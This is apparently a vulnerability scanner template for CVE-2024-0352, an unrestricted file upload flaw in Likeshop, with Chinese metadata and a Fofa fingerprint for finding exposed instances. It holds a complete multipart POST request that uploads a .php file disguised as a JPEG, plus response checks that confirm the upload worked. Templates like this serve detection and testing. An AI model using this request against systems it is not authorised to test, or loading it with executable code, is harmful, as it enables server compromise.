id: CVE-2024-0352
info:
name: Likeshop userFormImage 文件上传漏洞
author: zan8in
severity: critical
verified: true
description: |-
Likeshop up to 2.5.7.20210311 存在一处安全漏洞,被分类为严重级别。该漏洞影响 HTTP POST 请求处理组件的 file server/application/api/controller/File.php 的函数 FileServer::userFormImage。攻击者可以通过对参数 file 的篡改来实现未受限的文件上传。攻击可以远程发起,且已经公开披露并可能被利用。该漏洞的标识符为 VDB-250120。
Fofa: icon_hash="874152924"
reference:
- https://mp.weixin.qq.com/s?__biz=MzU1ODQ2NTY3Ng==&mid=2247485236&idx=1&sn=5a40524f9cf429b521dfd381f1b1602e
tags: likeshop,fileupload
created: 2024/01/16
set:
rboundary: randomLowercase(8)
filename: randomLowercase(6)
bodystr: randomLowercase(16)
rules:
r0:
request:
method: POST
path: /api/file/formimage
headers:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
body: "\
------WebKitFormBoundary{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"file\"; filename=\"{{filename}}.php\"\r\n\
Content-Type: image/jpeg\r\n\
\r\n\
{{bodystr}}\r\n\
\r\n\
------WebKitFormBoundary{{rboundary}}--\r\n\
"
expression: |
response.status == 200 &&
response.body.bcontains(b'"code":1') &&
response.body.bcontains(b'"msg":"上传文件成功"') &&
response.body.bcontains(b'"data":')
expression: r0()